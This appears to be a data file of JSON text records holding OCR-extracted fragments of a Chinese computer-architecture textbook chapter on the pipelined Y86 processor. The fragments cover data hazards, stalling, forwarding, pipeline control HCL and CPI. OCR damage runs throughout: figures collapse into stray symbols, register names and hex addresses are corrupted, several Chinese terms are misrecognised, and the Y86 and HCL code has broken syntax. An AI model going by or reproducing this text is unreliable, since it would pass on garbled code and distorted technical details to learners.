    {"text": "它从三个 值中选择一个作为指令存储器的地祉：预测的PC,对于到达流水线寄存器M的不选择分支的指 令来说是valP的值（存储在寄存器M_valA中)，或是当ret指令到达流水线寄存器W (存储 在W_valM)时的返回地址的值。"},
    {"text": "iiilla 6 7 8 9 10 11 R[%eax]—~ valA+-R[%edx] = 10 valB <— R[ # /,eax] = 3 progl 0x000: irmovl $10//,edx 0x006: irmovl $3,%eax 0x00c: nop OxOOd: nop OxOOe: nop OxOOf: addl ®/«edx, %eax 0x011: halt 图4-43描述的是PIPE-处理器处理progl指令序列的情况。"},
    {"text": "图4-44描述的是 prog2程序的流水线流程，在两条产生寄存器％edx和 %eax 值的irmovl指令和以这两个寄 存器作为操作数的addl指令之间有两条nop指令。"},
    {"text": "第一个irmovl指令已经通过了写回阶段，因此程序寄存器％edx已经在寄存器文件中更新了。 在该周期内，第二个irmovl指令处于写回阶段,因此对程序寄存器％eax的写要到周期7开 始，时钟上升时，才会发生。"},
    {"text": "# prog2 123456789 i0 0x000: irmovl $10,%edx F D E M W 0x006: irmovl $3,%eax F D E M * 0x00c: nop F D E w OxOOd: nop F D 纖 M W OxOOe: addl %edx,%eax F m E M W 0x010: halt m D E M W 離值 valA—R[%edx] = va 旧 R[%eax] = 0 图4-44 prog2的流水线化的执行，没有特殊的流水线控制。"},
    {"text": "直到周期7结束时，对寄存器％eax 的写才发生，所以addl指令在译码阶段读出的是该寄存器的错误值 图4-45是当irmovl指令和addl指令之间只有一条nop指令，即为程序prog3时，发 生的情况。"},
    {"text": "之所以会出现这些冒险，是因为我们的流水线化的处理器是在译码阶段从寄存器文件中读 取指令的操作数，而要到三个周期以后，指令经过写回阶段时，才会将指令的结果写到寄存器文件。"},
    {"text": "D E ? E W W # prog3 OxOOG: irmovl $10,°/,edx 0x006: irmovl $3，％eax 0x00c: nop OxOOd: addl %edx,%eax OxOOf: halt\n周斯 5 R[%edx 卜一 10 M_valE = 3 M一dstE = %eax 图4-45 prog3的流水线化的执行，没有特殊的流水线控制。"},
    {"text": "两 个操作数valA和valB得到的都是错误值 # prog4 1 2 3 4 5 6 7 8 0x000: irmovl $10,%edx F D E ill w 0x006: irmovl- $3,%eax F D M W 0x00c: addl %edx,%eax F E M W OxOOe; halt 絮 :. D E M W 周期 4 M =10 =%edx M_valE : M一dstE e一va 旧和 0 + 3 : E_dstE = %eax valA R[%edx] = 0 A valB^- R[%eax] = 图4-46 prog4的流水线休的执行，没有特殊的流水线控制。"},
    {"text": "我们采用流水线中的每条指令都与 一个状态码相关联的机制，使得当异常发生时，处理器能够有条理地停止，就像在4.5.9节中会 讲到的那样。"},
    {"text": "4.5.6用暂停来避免数据冒险 暂停（stalling)是避免冒险的一种常用技术，暂停时，处理器会停止流水线中一条或多条指 令，直到冒险条件不再满足。"},
    {"text": "）当指令addl处于 译码阶段时，流水线控制逻辑发现执行、访存或写回阶段中至少有一条指令会更新寄存器％edx 或％63乂。 处理器不会让addl指令带着不正确的结果通过这个阶段，而是会暂停指令，将它阻 塞在译码阶段，时间为一个周期（对 P rog2来说）或者三个周期（对prog4来说)。 对所有这 三个程序来说 ， addl指令最终都会在周期7中得到两个源操作数的正确值，然后继续沿着流水 线进行下去。"},
    {"text": "在这些图中，我们用一个addl指令的标号为“D”的方框到标号为“E”的方 框之间的箭头来表示一个流水线气泡，这些箭头表明，在执行阶段中插入气泡是为了替代addl 指令，它本来应该经过译码阶段进入执行阶段。"},
    {"text": "2 r* ^ Ft , mj ! i ; E 、 m ^ % p y e i \\'m d ： w; # prog2 0x000: irmovl $10,%edx 0x006: irmovl $3,%eax 0x00c: nop OxOOd: nop bubble 10 丨E: :Wf M OxOOe: addl %edx,%eax [Lh 凡 是: 見 ' 0x010: halt r K ^ V : * w 图4-47 prog2使用暂停的流水线化的执行。"},
    {"text": "实际上，机器是动态地插人一条nop指 令，得到的执行流类似于progl的执行流（见图4-43)\n9 10 11 ;M;,V-: 1J - D w M M '..c 響 # prog4 0x000: irmovl $10,°/ 0 edx 0x006: irmovl $3,%eax bubble bubble bubble 0x00c: addl %edx,%eax OxOOe: halt\n图4-48 P rog4使用暂停的流水线化的执行。"},
    {"text": "它在执行阶段中插人一个气泡，并在周期5中重复对指令 addl的译码。 它再次发现对两个源寄存器的冒险，就在执行阶段中插入一个气泡，并在周 期6中重复对指令addl的译码。 再次发现对寄存器％eax的冒险，就在执行阶段中插入 一个气泡，并在周期7中重复对指令addl的译码。"},
    {"text": "实际上，机器是动态地插入3条nop指 令，得到的执行流类似于progl的执行流（见图4-43) 在使用暂停技术来解决数据冒险的过程中，我们通过动态地产生和progl流（见图4-43) 一样的流水线流，有效地执行了程序proQ2和prog4。"},
    {"text": "4.5.7用转发来避免数据冒险 我们PIPE-的设计是在译码阶段从寄存器文件中读入源操作数,但是对这些源寄存器的写\n有可能要在写回阶段才能进行。"},
    {"text": "F D E W w F D III M w F m E M W _ D E M W srcA = °/ 0 edx srcB = %eax valA—R[%edx] = 10 va 旧 <- W_valE = 3 prog2 0x000: irmovl $10，％edx 0x006: irmovl $3,%eax 0x00c: nop OxOOd: nop OxOOe: addl %edx,%eax 0x010: halt 图449 prog2使用转发的流水线化的执行。"},
    {"text": "它用这个值，而不是从寄存器文件中读出的值，作为源操作数valB 如图4-50所示，当访存阶段中有对寄存器未进行的写时，也可以使用数据转发，以避免 程序 P rog3中的暂停。"},
    {"text": "在周期5中，译码阶段逻辑发现，在写回阶段中端口 E上有对寄存 器％6€^未进行的写，以及在访存阶段中有会在端口 E上对寄存器％eax未进行的写。"},
    {"text": "它不会暂 停直到这些写真正发生，而是用写回阶段中的值（信号W_valE)作为操作数valA,用访存阶 段中的值（信号M_valE)作为操作数valB。"},
    {"text": "程序prog2〜 P rog4中描述的转发技术的使用都是将ALU产生的以及其目标为写端口 E 的值进行转发，其实也可以转发从存储器中读出的以及其目标为写端口 M的值。"},
    {"text": "从访存阶段, 我们可以转发刚刚从数据存储器中读出的值（信号m_valM)。 从写回阶段，我们可以转发对端 口 M未进行的_ (信号W一valM)。"},
    {"text": "2 3 4 5 6 7 8 9 F D e M V , C 職 :卞’ D E ：M w '、F 丨' D m M w , E M ( W ^ 'E M W 周期 5 ?.卜〜 v W - + ^ W_dstE = °/,edx R[%edx] 和 10 W_valE = 10 .- 輪舶 M_dstE = °/ 0 eax M \\/alP = A , *■ » * . - ^ 觀驗議議鐘 srcA = %edx srcB = 7*eax valA^ W_valE = 10 valB-*- M_valE = 3 ^ t>^y y•八和 # prog4 0x000: irmovl $10, # / 0 edx 0x006: irmovl $3, °/,eax 0x00c: addl %edx, 8 /.eabc OxOOe: halt # prog3 0x000: irmovl $10, # /,edx 0x006: irmovl $3,%eax 0x00c: nop OxOOd: addl °/oedx,y o eax OxOOf: halt 图4-50 prog3使用转发的流水线化的执行。"},
    {"text": "它用这些值，而不是 从寄存器文件中读出的值，作为valA和valB的值 1 2 3 4 5 6 7 8 (f 、 ,i < F D E ::筹 W F p M W 幽 m r D ' r M ' w 周期 4\n:%edx 10 M_dstE : M_valE =\nE_dstE = °/,eax\n醒 _廳戀:論議\nsrcA = %edx srcB = °/ 0 6slx valA^-M_valE : va 旧e一vdE =\n图4-51 prog4使用转发的流水线化的执行。"},
    {"text": "它用这些值，而 不是从寄存器文件中读出的值，作为valA和valB的值\n图4-49〜图4-51的扩展图还表明译码阶段逻辑能够确定使用来自寄存器文件的值，还是用 转发过来的值。"},
    {"text": "将这幅图与 PIPE-的结构（图4-41)相比，我们可以看到来自5个转发源的值反馈到译码阶段中两个标号 为“Sel+Fwd A”和“Fwd B”的块。 标号为“Sel+Fwd A”的块是PIPE—中标号为“Select A”的块的功能与转发逡辑的结合。"},
    {"text": "这使得我们不暂停流水线就能够处理大多数形式的数据冒险 加载/使用数据冒险 / 有一类数据冒险不能单纯用转发来解决，因为存储器读在流水线发生的比较晚。"},
    {"text": "图4-53举 例说明 了加载/使用冒险 （load/use hazard),其中一条指令（位于地址0x018的mrmovl)从 存储器中读出寄存器％eax的值，而下一条指令（位于地址0x0le的addl)需要该值作为源 操作数。"},
    {"text": "）\n10 11 6 7 D- F 周期7 %eax M[128] =.3 M一dstE : M.valE # prog5 1 2 0x000: irmovl $128,%edx F D 0x006: irmovl $3,°/ 0 ecx F 0x00c: rmmovl %ecx, 0(%edx) 0x012: irmovl $10,%ebx 0x018: mrmovl 0(%edx),%eax # Load %eax OxOle: addl %ebx, %eax # Use %ea.x 0x020: halt\nvalA^— M_valE = va旧和 R[%eax] 10^ =0\n图 4 _ 53 加载/便用数据冒险的示例。"},
    {"text": "前面的 mrmovl指令在周期8访存阶段中读出这个寄存器的新值，这对于addl指令来说太迟了 如图4-54所示，我们可以将暂停和转发结合起来，避免加载/使用数据冒险。"},
    {"text": "就像流水线图，从周期7中标号为“D”的方框到周期8中标号为“E”的方框的箭头表明 的那样，插入的气泡代替了正常情况下本来应该继续通过流水线的addl指令。"},
    {"text": "# prog5 1 m I 0x000: irmovl $128,%edx 0x006: irmovl $3,*/,ecx OxOOc: rmmovl %ecx, 0(%edx) 0x012: irmovl $10,%ebx 0x018: mrmovl 0(%edx) ,°/ # eax # Load %eax bubble 0x0le: addl 7,ebx,7,eax # Use %eax 0x020: halt\n周期 8 图4-54用暂停来处理加载/使用冒险。"},
    {"text": "通过将addl指令在译码阶段暂停一个周期，就可以将valB 的值从访存阶段中的mrmo.yl指令转发到译码阶段中的addl指令 异常处理 正如第8章将讨论的，处理器中很多事情都会导致异常控制流，此时，程序执行的正常流程 被破坏掉。"},
    {"text": "我们的指令集 体系结构包括三种不同的内部产生的异常：1) halt指令，2)有非法指令和功能码组合的指令, 3)取指或数据读写试图访问一个非法地址。"},
    {"text": "在一个更完整的设计中,处理器会继续调用异常处理程序（exception handler),这 是操作系统的一部分，但是实现异痦处理的这部分超出了本书的范围。"},
    {"text": "下面就是一个这样程序示例的目标代码： 0x000: 6300 0x002: 740e000000 0x007: 30f001000000 OxOOd: 00 OxOOe: OxOOe: ff xorl %eax , %eax jne Target # Not taken irmovl $1, %eax # Fall through halt Target: .byte OxFF # Invalid instruction code 在这个程序中，流水线会预测选择分支，因此它会取出并以一个值为 OxFF 的字节作为指令 ( 由汇编代码中 .byte 命令产生的 ) 。"},
    {"text": "比如说，考虑下面的代码序列，其中假设不允许用户程序访问大于 0XC0000000 的 地址（与 32 位 Linux 版本的情况一样）： 1 irmovl $l,%eax 2. xorl %esp,%esp # Set stack pointer to 0 and CC to 100 l pushl %eax # Attempt to write to Oxfffffffc addl %eax,%eax # (Should not be executed) Would set CC to 000 pushl 指令导致一个地址异常，因为减小栈指针会导致它绕回到 OxfffffffCo 在访存阶 段会发现这个异常。"},
    {"text": "一般地 ， 通过在流水线结构中加入异常处理逻辑，我们既能够从各个异常中做出正确的 选择，也能够避免出现由于分支预测错误取出的指令造成的异常。"},
    {"text": "为了避免异常指令之后的指令更新任何程序员可见的状态，当处于访存或写回阶段中的指 令导致异常时，流水线控制逻辑必须禁止更新条件码寄存器或是数据存储器。 在上面的示例程 序中，控制逻辑会发现访存阶段的 pushl 导致了异常，因此应该禁止 addl 指令更新条件码 寄存器。"},
    {"text": "异常事件不会对 流水线中的指令流有任何影响，除了会禁止流水线中后面的指令更新程序员可见的状态（条件码 寄存器和存储器 ) ，直到异常指令到达最后的流水线阶段。 因为指令到达写回阶段的顺序与它们 在非流水线化的处理器中执行的顺序相同 ， 所以我们可以保证第一条遇到异常的指令会第一个到 达写回阶段，此时程序执行会停止，流水线寄存器 W 中的状态码会被记为程序状态。"},
    {"text": "许多逻辑块与SEQ和SEQ+中相应部件完全相同 ， 除了我们必须从来自不 同流水线寄存器（用大写的流水线寄存器的名字作为前缀）或来自各个阶段计算（用小写的阶段 名字的第一个字母作为前缀）的信号中选择适当的值。"},
    {"text": "作为一个示例，比较SEQ中产生srcA信号逻辑的HCL代码与PIPE中相应的代码 ： Code from SEQ int srcA =[ icode in { IRRMOVL, IRMMOVL, IOPL, IPUSHL } : rA; icode in { IPOPL, IRET > : RESP; 1 : RNONE; # Don't need register ]； Code from PIPE int d_srcA =[ D_icode in { IRRMOVL, IRMMOVL, IOPL, IPUSHL > : D_rA; D^icode in { IPOPL, IRET } : RESP; 1 : RNONE; # Don't need register ]；"},
    {"text": "它们的不同之处只在于PIPE信号都加上了前缀：“D一”表示源值，以表明信号来自流水线 寄存器D,而“d_”表示结果值，以表明它是在译码阶^中产生的。"},
    {"text": "当一条预测错误的分支进入访存阶段时，会 从流水线寄存器M (信号M一valA)中读出该指令valP的值（指明下一条指令的地址)。 当 ret指令进入写回阶段时 ， 会从流水线寄存器W (信号W—valM)中读出返回地址。"},
    {"text": "其他情况 会使用存放在流水线寄存器F (信号FjredPC)中的PC &预测值： int f_pc =[ Mispredicted branch. Fetch at incremented PC M.icode == IJXX && !M_Cnd : M_valA; Completion of RET instruction. W.icode == IRET : W 一 valM; Default: Use predicted value of PC 1 : F 一 predPC; ]； 当取出的指令为函数调用或跳转时 ， PC预测逻辑会选择valC,否则就会选择valP: int f_predPC =[ f_icode in { IJXX, ICALL } : f_valC; : f_valP; 标号为 “Instr valid”、“Need regids” 和 “Need valC” 的逻辑块和 SEQ 中的一 样,使用适当重命名的源信号。"},
    {"text": "寄存器写 的位置是由来自写回阶段的dstE和dstM信号指定的，而不是来自于译码阶段，因为它要写的 是当前正在写回阶段中的指令的结果 4.5.7节中提到有5个不同的转发源，每个都有一个数据字和一个目的寄存器ID ： 数据字 寄存器ID 源描述 e—valE e_dstE ALU输出 m_valM M_dstM 存储器输出 M_valE M一dstE 访存阶段中对端口 E未进行的写 W_valM W—dstM 写回阶段中对端口 M未进行的写 W_valE W一dstE 写回阶段中对端口它未进行的写 如果不满足任何转发条件，这个块就应该选择d_rvalA作为它的输出，也就晕从寄存器端 口 A中读出的值。"},
    {"text": "综上所述，我们得到以下流水线寄存器E的valA新值的HCL描述：\nd_vaXA :[ D_ icode in { ICALL, I JXX > : D__valP; # Use incremented PC\nd_srcA d_srcA d_srcA d_srcA d_srcA e_dstE M_dstM M_dstE W_dstM W.dstE e_valE m-valM M_valE W_valM W_valE Forward valE from execute Forward valM from memory Forward valE from memory Forward valM from write back Forward valE from write back\nd_rvalA; # Use value read from register file 上述HCL代码中赋予这五个转发源的优先级是非常重要的。"},
    {"text": "为了模拟这种行为，流水线化的实现应该总是给处于最早流水 线阶段的转发源以较高的优先级，因为它保持着程序序列中设置该寄存器的最近的指令。"},
    {"text": "srcA: y 9 edx | valA—~e一vaiE = 3 謹 # prog6 0x000: irmovl $10,%edx 0x006: irmovl $3,%edx OxOOc: rrmovl %edx, °/ 0 eax OxOOe: halt 只有指令popl%esp会关心在访存或写回阶段两个源之间的转发优先级，因为K有这条指 令能同时写两个寄存器。"},
    {"text": "转 发逻辑应该选择执行阶段的值，因为它代表最近产生的该寄存器的值 _练习题4.30假设d_valA的HCL代码中第三和第四种情况（来自访存阶段的两个转发源）的顺序 是反过来的。"},
    {"text": "请描述下列程序中rrmovl指令（第5行）导致的行为： irmovl $5, %edx irmovl $0x100,%esp rmmovl %edx,0(%esp)\n.4 popl %esp 5 rrmovl 0 / 0 esp,%eax _练习题4.31假设d_valA的HCL代码中第五和第六种情况（来自写回阶段的两个转发源）的顺序是 反过来的。"},
    {"text": "这一部分的设计与SEQ实现中的逻辑非常相似 ® 练习题 4.33 d—valA 的 HCL 代码中的第二种情况使用了信号 e _dstE, 判断是否要选择ALU的输 出 e 一 valE 作为转发源。"},
    {"text": "这个阶段的其他块都和SEQ相应的部件相同，釆用的信号做适当的 _练习题4.34在这个阶段，通过检查数据存储器的非法地址情况，我们能够完成状态码Stat的计 算。"},
    {"text": "许多从流水线寄存器M和W来的信号被传递到较早的阶段，以提供 写回的结果、指令地址以及转发的结果 重命名。 在图中，你还可以看到许多流水线寄存器中的值，同时M和W还作为转发和流水线控 制逻辑的一部分，提供给电路中其他部分。"},
    {"text": "这个逻辑必须处理以下4种控制 情况，这些情况是其他机制（例如数据转发和分支预测）不能处理的： 处理ret ：流水线必须暂停直到ret指令到达写回阶段。"},
    {"text": "这个程序是用汇编代码表示的，左边是各个指令的 地址以供参考 : 0x000: irmovl Stack,%esp # Initialize stack pointer 0x006: call Proc # procedure call 0x00b: irmovl $10,%edx # return point 0x011: halt 0x020: .pos 0x20 0x020: Proc: # Proc: 0x020: ret # return immediately 0x021: rrmovl %edx,%ebx # not executed 0x030: .pos 0x30 0x030: Stack: # Stack: Stack pointer 图4-60给出了我们希望流水线如何来处理ret指令。"},
    {"text": "一旦ret指令到达写回阶段，PC选择逻辑就会将程序计数器设为返回地址，然 后取指阶段就会取出位于返回点（地址0x00b)处的irmovl指令。"},
    {"text": "# prog7 1 2 3 4 5 6 7 8 . 9 10 11 0x000: irmovl Stack j 7*edx F D E M > w 0x006 : call proc . . ... :, 抄 '.:: E ' W 0x020: ret D ： :;.: 虚:;.丨 M -W ： bubble F D E M W bubble F D E M W bubble F D E M W 0x00b: irmovl $10,%edx # Return point F D : ... E M w 图 4-60 ret 指令处理的简化视图。"},
    {"text": "一旦 ret 指令到达写回阶段（周期 7), PC 选择逻辑就会选择返回地 址作为指令的取指地址 # prog7 1 2 3 4 5 6 7 8 9 10 11 0x000: irmovl Stack,°/ 0 edx D llll M w 0x006: call proc F lifll E w 0x020: ret 議:l D III; _s: w 0x021 : rrmovl %edx，％ebx # Not executed F bubble u D E M W 0x021 : rrmovl %edx,%ebx # Not executed 謙:: bubble u D E M W 0x021: rrmovl 0 / O edx, %ebx # Not executed bubble u D E M w 0x00b: irmovl $10,%edx # Return point F D. E M W ® 4-M；"},
    {"text": "当这两条指令中的任一条处于执行阶段，且需要该 目的寄存器的指令正处在译码阶段时，我们要将第二条指令阻塞在译码阶段，并在下一个周期往 执行阶段插入一个气泡。"},
    {"text": "要处理预测错误的分支，让我们来考虑下面这个用汇编代码表示的程序，左边是各个指令的 地址以供参考：\n0x000: xorl %eax,%eax Not taken Fall through Target Target+1 0x002: jne target 0x007: irmovl $1, %eax OxOOd: halt OxOOe: target: OxOOe: irmovl $2, %edx 0x014: irmovl $3, %ebx 0x0la: halt\n图4-62表明如何处理这些指令。"},
    {"text": "我们只要在下一个周期往译码和执行阶段中插入气泡，并同时取出跳转指令后面的指 令，这样就 能取消 （有时也称为指 令排除 （instruction squashing))那两条预测错误的指令。"},
    {"text": "prog8 5 6 10 0x000: xorl %eax,%eax D M! w ' 0x002: jne target 林 Not taken M W OxOOe: irmovl $2,%edx # Target bubble U E M w 0x014: irmovl $3, %ebx # Target -f-1 F bubble u D E M w 0x007: irmovl $l，％eax # Fail through E W OxOOd: halt E.' M W 图4-62处理预测错误的分支指令。"},
    {"text": "在周期5,流 水线往译码和执行阶段中插入气泡，取消了两条目标指令，同时还取出跳转后面的那条指令 对于导致异常的指令，我们必须使流水线化的实现符合期望的ISA行为，也就是在前面所 有的指令结束前，后面的指令不能影响程序的状态。"},
    {"text": "会使达到这些效果比较麻烦的因素有：1) 在程序执行的两个不同阶段（取指和访存）会发现异常，2)在三个不同阶段（执行、访存和写\n回）会更新程序状态。"},
    {"text": "当异常指令到达访存阶段 时，我们会釆取措施防止后面的指令修改程序员可见的状态：1)禁止执行阶段中的指令设置条 件码，2)向存储器阶段中插入气泡，以禁止向数据存储器中写人，3)当写回阶段中有异常指令 时，暂停写回阶段，因而暂停了流水线。"},
    {"text": "在图4-63 的例子中，我石还可以看^既向访存阶段插入了气也在写回阶段暂停了异常指令~pushl 指令在写回阶段保持暂停，后面的指令都没有通过执行阶段。"},
    {"text": "# proglO 1 2 3 4 5 6 7 8 9 10 0x000: irmovl $1,%eax F D E M W 0x006: xorl %esp,%esp #CC = 100 F D E M W 0x008: pushl %eax F D E M W W W 0x00a: addl %eax,%eax F D E OxOOc: irmovl $2,%eax F D E 周期 6 图4-63处理存储器引用非法异常。"},
    {"text": "流水线开始往访存阶段插入气泡，并在写回阶段暂停异常指令 对状态信号流水线化，控制条件码的设置，以及控制流水线阶段——将这些结合起来，我们 实现了异常的期望的行为：异常指令之前的指令都完成了，而后面的指令对程序员可见的状态都 没有影响。"},
    {"text": "一些简单的组合逻辑块实现了这些表达式，为了在时钟上升开始下一个周 期时控制流水线寄存器的活动，这些块必须在时钟周期结束之前产生结果。"},
    {"text": "当跳转指令在执行阶段时，流水线控制逻辑应该能发现预测错误 的分支，这样当指令进入访存阶段时，它就能设置从错误预测中恢复所需要的条件。"},
    {"text": "条件 触发条件 处理r6t 加载/使用冒险 预测错误的分支 异常 IREt e {DJcode, EJcode, MJcode}. EJcode € {IMRMOVL, IPOPL} && E.dstM e {d_srcA, d_srcB} EJcode = IJXX && ! e_Cnd m_stat 6 {SADR, SINS, SHLT} 11 W-Stat e {SADR, SINS, SHLT} 图4-64流氷线控制逻辑的检查条件。"},
    {"text": "四种不同的条件要求改变流水线，暂停流水线或奢取消已 经部分执行的指令 » . 1 . - 流水线控制机制 图4-65是一些低级机制，它们使得流水线控制逻辑能将指令阻塞在流水线寄存器中，或是 往流水线中插入一个气泡。"},
    {"text": "在正常操作下（图4-65a)，这两个输入都设为0,使得寄存器 加载它的输入作为新的状态。 当暂停信号设为1时（图4-65b),禁止更新状态。"},
    {"text": "当气泡信号设置为1时 (图4-65c),寄存器状态会设置成某个固定的复位配置（reset configuration),得到一个与nop指\n状态 状态 : m 输入 =y 输人 =y 输出 =x 时钟上升沿\n暂停 ff 气泡 =0 =0 ⑷正常\n状态 =y 输入 =y 神’ . 状态 =x 输入 =y 输出 = 轉’ 时钟上升沿 气泡 暂 b )暂停 状态 =x 状态 =nop , 一 - 输出 =nop 输人 =y 时钟上升沿\n暂停 =0 幻气泡 图4_65附加的流水线寄存器操作。 a)正常条件，当时钟上升时，寄存器的状态和输出被设置成输 入的值;b)当运行在暂停模式时，状态保持先前的值不变；"},
    {"text": "例 如,要往流水线寄存器D中插入一个气泡，我们要将icode字段设置为常数值IN0P(图4-26)。 要住流水线寄存器E中插入一个气泡，我们要将icode字段设为工N0P，并將dstE、dstM, srcA和srcB字段设为常数RN0NE。"},
    {"text": "对每神情况的 处理都是流水线寄存器正常、暂停和气泡操作的某个组合。 条件 流水线寄存器 F D E M W 处理ret 暂停 气泡 正常 正常 正常 加载/使用冒险 暂停 暂停 气泡 正常 正常 预测错误的分支 正常 正常 气泡 正常 - 正常 图4-66流水线控制逻辑的动作。 木同的条件需要改变流水线流，或者会暂停流水线，或者会取消部 分已执行的指令 在时序方面，流水线寄存器的暂停和气泡控制信号由组合逻辑块产生。 当时钟上升时,这些 值必须是合法的，使得当下一个时钟周期开始时，每个流水线寄存器要么加载，要么暂停，要么 产生气泡。"},
    {"text": "有了这个对流水线寄存器设计的小扩展，我们就能用组合逻辑、时钟寄存器和随机访 问存储器这样的基本构建块，来实现一个完整的、包括所有控制的流水线。"},
    {"text": "加载/使用 预测错误 ret 1 ret 2 ret 3 M M M M M ret, E ,捕 E t 风 A E ’ E * E k 气泡 ‘ D 卿： D D D D . 气泡 . t - , t 组合A 个 丁 1 组合B • \" 1 ' 厂■ ' •. ■ . ' ' ■ . 图4-67特殊控制条件的流水线状态。"},
    {"text": "例如，不可能同时既有加载丨使用冒险又 有预测错误的分支,因为加载/使用管险荽求执行阶段申*加_指令(mrmovr或popl),而预 测错谟的分支要求执行阶段中晕一条跳转指令。"},
    {"text": "合并组合A条件的控制动作（见图4-66),得到以下面流水线控制动作（假设气泡或暂停会 覆盖正常的情况）： 条件 流水线寄存器 F D E M W 处理ret 暂停 气泡 正常 正常 正常 预测错误的分支 正常 气泡 气泡 正常 正常 组合 暂停 气泡 气泡 正常 正常 也就是说，组合A的处理与预测错误的分支相似，只不过在取指阶段是暂停。"},
    {"text": "幸运的是, 在下一个周期，PC选择逻辑会选择跳转后面那条指令的地址，而不是预测的程序计数器值，所 以流水线寄存器F发生了什么是没有关系的。"},
    {"text": "组合B包括一个加载/使用冒险，其中加载指令设置寄存器％es P ,然后ret指令用这个寄 存器作为源操作数，因为它必须从栈中弹出返回地址。"},
    {"text": "合并组合B条件的控制动作（见图4-66),得到以下流水线控制动作： 条件 流水线寄存器 F . D E M W 处理ret 暂停 气泡 正常 正常 正常 预测错误的分支 暂停 .暂停 气泡 正常 正常 组合 暂停 气泡+暂停 气泡 正常 正常 期望的情况 暂停 会停 气泡 正常 正常 如果同时触发两组动作，控制逻辑会试图暂停ret指令来避免加载/使用冒险，同时 又会因为ret指令而往译码阶段中插入一个气泡。"},
    {"text": "W_stat MJcode m_stat e_Cnd d_srcB d_srcA dstM valM Mcnd|«l dstM valA valP rA rB icode E 一 dstM EJcode 1 stat icode ifun PI valC valA valB dstE dstM srcA srcB D_icode icode valC CC 1 icode\n图4-68 PIPE流水线控制逻辑。"},
    {"text": "这个逻辑覆盖了通过流水线的正常指令流，以处理特殊条件，例如过 程返回、预测错误的分支、加载/使用冒险和程序异常 遇到加载/使用冒险或ret指令，流水线寄存器F必须暂停： bool F_stall = Conditions for a load/use hazard E^icode in { IMRMOVL, IPOPL } && E_dstM in { d^srcA, d_srcB } I I Stalling at fetch while ret passes through pipeline IRET in { D_icode, E__icode, icode >; IB练习题4.37写出PIPE实现中信号D_stall的HCL代码。"},
    {"text": "然而，正如前面一节 的分析，当遇到加载/使用冒险和ret指令组合时，不应该插入气泡 ： bool D_bubble = Mispredicted branch (E一icode == IJXX && !e_Cnd) I I Stalling at fetch while ret passes through pipeline but not condition for a load/use hazard !(E_icode in { IMRMOVL, IPOPL } && E^dstM in { d_srcA, d_srcB » && IRET in { D_icode, E_icode, M_icode >; _练习题4.38写出PIPE实现中信号E_bubble的HCL代码。"},
    {"text": "我们看到一些设计上的挑 战来自于不常见的指令,(例如弹出值到栈指针)，或承不常见的指令组合（例如不选择分支的跳 转指令后面跟一条ret指令）。"},
    {"text": "即使是简单的逻辑设计错误都可能有很严重 的后果，特别是随着微处理器越来越多地用于我们生命和健康至关重要的系统，例如汽车防抱死 制动系统、心脏起搏器，以及航空控制系统。"},
    {"text": "在创建Y86处 理器的过程中，我们还设计了很多测试脚本，每个脚本都产生出很多不同的测试，运行处理器模 拟，并且比较得$的寄存声和存储器值和我们YIS指令集模拟器产生的值。"},
    {"text": "以下是这些脚本的 简要介绍： optest ：运行 49 个不同的Y86指令测试，具有不同的源和目的寄畚器 9 jtest ：运行.64个不同的跳转和函数调用指令的测试,具有不同的是否选择分支的组合。"},
    {"text": "进行这种分析要求用符号方法（symbolic methods)来推导 硬件，在使用符号方法时，我们认为所有的程序值都是任意的整数，将ALU抽象成某种/‘黑盒 子”，根据它的参数计算某个未指定的函数。"},
    {"text": "' 在实验中，我们不仅验证了在本章中考虑的PIPE版本，还验证了作为家庭作业的几个变 种，其中，我们增加了更多的指令，修改了硬件的能力，或是使用了不同的分支预测策略。"},
    {"text": "' 网络旁注ARCH :VLOG:流水线化的Y86处理器的Verilog实现 正如我们提到过的,现代的逻辑设计包括用硬件播述语言书写硬件设计的文本表示。"},
    {"text": "我们用Verilog硬件描述语言开发了 Y86处叙器设计的模型彳这些设计将实现处理器基本构 造块的模块和直接从HCL描述产生出来的控制逻辑结合了冬来。"},
    {"text": "4.5.12性能分析 我们可以看到，所有需要流水线控制逻辑进行特辦处理的条件，都会导致流水线不能够实现 每个时钟周期发射一条新指令的目标。"},
    {"text": "我们可以通过计箅PIPE执行 一条指令所需要的平均时钟周期数的估计值，来量化这些处罚对整体性能的影响，这种衡量方法 称为CPI (Cycles Per Instruction,每指令周期数)。"},
    {"text": "> 如果我们忽略异常带来的性能损失（异常的定义表明它是很少出现的)，另一种思考CPI的 方法是，假设我们在处理器上运行某个基准程序，并观察执行阶段的运行。"},
    {"text": "于是，可以用如下方法来计算这个基准程序的CPI: .• • • • ... — • . : - CPI = C/ + Cb = 1.0 Q Q - .. .- • • . ,. ■ • • • • • ■ * •. . ♦ . . ,:. . .. . : . . .‘ . * ; . ■ 1 -. . 也就是i CPI等于1.0加上一个处罚项 CJCp 这个项表明执行一条指令平均要插入多少个气泡。"},
    {"text": ". 因为只有三种指令类型会导致插入气泡,我们可以将这个处罚项分解难三个部分： ck = 1.0 + //7 + m/? + rp • 这里,.(load penalty,加载处罚),是由于加载/使用*险填成暂鐵_*插入气泡的平均数 ，mp (mispredicted branch penalty,预测错误分支处罚）是由于预测错误取消指令时插入气泡的平均 数，而少(return penalty,返回处罚）是由于ret指令造成暂停时插人气泡的乎均数。"},
    {"text": "因此，我们可以估计每种处罚，它是指令类型频率、条件出现频率，以及当条件出现时插入 气泡数的乘积： 原因 名称 指令频率 条件频率 气泡 乘积 加载/使用 Ip 0.25 0.20 1 0.05 预测错误 mp 0.20 0.40 2 0.16 返回 rp 0.02 1.00 3 0.06 总处罚 0.27 三种处罚的总和是0.27,所以得到CPI为1.27。"},
    {"text": "4.5.13未完成的工作 我们已经创建了 PIPE流水线化的微处理器结构，设计了控制逻辑块，并实现了处理普通流 水线流不足以处理的特殊情况的流水线控制逻辑。"},
    {"text": "比如说，如果在不同单元执行的各个指令之间有数 据相关，控制逻辑可能需要暂停系统的某个部分，直到由系统其他某个部分处理的操作的结果完 成。"},
    {"text": "最靠近处理器的一层是 高速缓 存（cache)存储器，它提供对最常使用的存储器位置的快速访问。 一个典型的处理器有两个第 一层高速缓存一一^个用于读指令，一个用于读和写数据。"},
    {"text": "从处理器的角度来看，将用暂停来处理短时间的高速缓存不命中和用异常处理来处理长时间 的缺页结合起来，能够顾及到存储器访问时由于存储器层次结构引起的所有不可预测性。"},
    {"text": "这两种处理器都使用的是五 阶段流水线。 Intel的i486处理器用的也是五阶段流水线，只不过阶段之间的职责划分不太一样， 它有两个译码阶段和一个合并的执行/访存阶段[33]。"},
